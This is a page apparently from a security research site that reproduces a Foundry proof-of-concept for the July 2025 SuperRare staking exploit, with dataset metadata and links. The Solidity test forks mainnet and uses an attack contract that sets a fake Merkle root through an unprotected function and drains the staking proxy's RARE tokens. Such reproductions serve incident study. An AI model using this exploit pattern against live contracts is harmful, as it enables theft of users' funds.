Public reproduction file
src/test/2025-07/SuperRare_exp.sol
Public reproduction file for dataset entry SuperRare.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 730K USD8// Attacker : https://etherscan.io/address/0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a29// Attack Contract : https://etherscan.io/address/0x08947cedf35f9669012bda6fda9d03c399b017ab10// Vulnerable Contract : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c113// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/SlowMist_Team/status/194977023173353068219// Hacking God : https://blog.solidityscan.com/superrare-hack-analysis-488d544d89e020pragma solidity ^0.8.0;22address constant ERC1967Proxy = 0x3f4D749675B3e48bCCd932033808a7079328Eb48;23address constant RARE_TOKEN = 0xba5BDe662c17e2aDFF1075610382B9B691296350;24address constant ATTACKER = 0x5B9B4B4DaFbCfCEEa7aFbA56958fcBB37d82D4a2;25address constant ATTACK_CONTRACT = 0x08947cedf35f9669012bDA6FdA9d03c399B017Ab;27// 175369091928contract SuperRare is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 23016423 - 1;31 function setUp() public {32 vm.createSelectFork("mainnet", blocknumToForkFrom);33 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit34 fundingToken = RARE_TOKEN;35 }37 function testExploit() public balanceLog {38 // deploy attack contract and etch it to ATTACK_CONTRACT address39 AttackContract acTemp = new AttackContract();40 bytes memory code = address(acTemp).code;41 vm.etch(ATTACK_CONTRACT, code);42 AttackContract ac = AttackContract(ATTACK_CONTRACT);44 uint256 stakingContractBalance = ac.getStakingContractBalance();45 console.log("stakingContractBalance", stakingContractBalance);46 // 1190787471301910452905796048 uint256 tokenBalance = ac.getTokenBalance();49 console.log("attackContract Balance Before", tokenBalance);50 // 052 bytes32 fakeRoot = 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e;53 ac.attack(fakeRoot, stakingContractBalance);55 uint256 tokenBalanceAfter = ac.getTokenBalance();56 console.log("attackContract Balance After", tokenBalanceAfter);57 // 1190787471301910452905796058 }59}61contract AttackContract {62 function getStakingContractBalance() public view returns (uint256) {63 return IERC20(RARE_TOKEN).balanceOf(ERC1967Proxy);64 }65 function getTokenBalance() public view returns (uint256) {66 return IERC20(RARE_TOKEN).balanceOf(address(this));67 }68 function attack(bytes32 newRoot, uint256 amout) public {69 IERC1967Proxy target = IERC1967Proxy(ERC1967Proxy);70 target.updateMerkleRoot(newRoot);71 bytes32[] memory proof = new bytes32[](0);72 target.claim(amout, proof);73 }74}76interface IERC1967Proxy {77 function updateMerkleRoot(bytes32 newRoot) external;78 function claim(uint256 amount, bytes32[] calldata proof) external;79}Analysis
Dataset entry
Public Foundry test for “SuperRare” (2025-07-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2
- Attack Contract
0x08947cedf35f9669012bda6fda9d03c399b017ab
- Vulnerable Contract
0xffb512b9176d527c5d32189c3e310ed4ab2bb9ec
- Attack Tx
0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1
- Twitter: https://x.com/SlowMist_Team/status/1949770231733530682
- Explorer: https://etherscan.io/address/0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2
- Explorer: https://etherscan.io/address/0x08947cedf35f9669012bda6fda9d03c399b017ab
- Explorer: https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC
- Explorer: https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC#code
File record
- Name
- SuperRare
- Path
- src/test/2025-07/SuperRare_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c43bf837f413a927e6e508b3f3a3c778dceccb6e
- Language
- Solidity
- Size
- 80 lines
- Date
- 2025-07-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/SuperRare_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c43bf837f413a927e6e508b3f3a3c778dceccb6e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.